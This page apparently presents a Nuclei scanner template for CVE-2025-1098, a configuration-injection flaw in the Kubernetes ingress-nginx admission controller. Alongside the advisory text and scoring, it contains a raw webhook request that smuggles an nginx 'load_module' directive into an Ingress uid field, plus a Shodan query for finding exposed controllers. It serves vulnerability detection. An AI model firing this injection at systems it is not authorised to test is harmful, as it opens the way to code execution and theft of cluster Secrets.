Ingress-Nginx Controller - Configuration Injection via Unsanitized Mirror Annotations
ID: CVE-2025-1098
Severity: high
Author: UNC1739
Tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,rce
Description
Section titled “Description”A security issue was discovered in ingress-nginx https-//github.com/kubernetes/ingress-nginx where the mirror-target and mirror-host Ingress annotations can be used to inject arbitrary configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)
YAML Source
Section titled “YAML Source”id: CVE-2025-1098
info: name: Ingress-Nginx Controller - Configuration Injection via Unsanitized Mirror Annotations author: UNC1739 severity: high description: | A security issue was discovered in ingress-nginx https-//github.com/kubernetes/ingress-nginx where the `mirror-target` and `mirror-host` Ingress annotations can be used to inject arbitrary configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.) reference: - https://github.com/kubernetes/kubernetes/issues/131008 - https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities - https://nvd.nist.gov/vuln/detail/CVE-2025-1098 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2025-1098 cwe-id: CWE-20 epss-score: 0.00224 epss-percentile: 0.42238 metadata: verified: true max-request: 1 shodan-query: ssl:"ingress-nginx" port:8443 tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,rce
variables: string: "{{to_lower('{{randstr}}')}}"
http: - raw: - | POST / HTTP/1.1 Host: {{Hostname}} Content-Type: application/json
{ "kind": "AdmissionReview", "apiVersion": "admission.k8s.io/v1", "request": { "uid": "{{string}}", "kind": { "group": "networking.k8s.io", "version": "v1", "kind": "Ingress" }, "resource": { "group": "networking.k8s.io", "version": "v1", "resource": "ingresses" }, "requestKind": { "group": "networking.k8s.io", "version": "v1", "kind": "Ingress" }, "requestResource": { "group": "networking.k8s.io", "version": "v1", "resource": "ingresses" }, "name": "minimal-ingress", "namespace": "default", "operation": "CREATE", "userInfo": { "uid": "{{string}}" }, "object": { "kind": "Ingress", "apiVersion": "networking.k8s.io/v1", "metadata": { "name": "minimal-ingress", "namespace": "default", "creationTimestamp": null, "uid": "InjectTest#;\n\n}\n}\n}\nload_module test;", "annotations": { "nginx.ingress.kubernetes.io/mirror-target": "fake-mirror-target" } }, "spec": { "ingressClassName": "nginx", "rules": [ { "host": "test.example.com", "http": { "paths": [ { "path": "/", "pathType": "Prefix", "backend": { "service": { "name": "kubernetes", "port": { "number": 443 } } } } ] } } ] }, "status": { "loadBalancer": {} } }, "oldObject": null, "dryRun": true, "options": { "kind": "CreateOptions", "apiVersion": "meta.k8s.io/v1" } } }
matchers: - type: word part: body words: - 'AdmissionReview' - 'load_module' - 'directive is specified too late' condition: and# digest: 4b0a00483046022100ff34bc1636adddc578a1a90b578eec82b16f4e66007eb87f0643be663a434db2022100a2132e1e6f358a48e16be16c733f773e54463315df870cc7cb22cd1860a05f9c:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2025/CVE-2025-1098.yaml"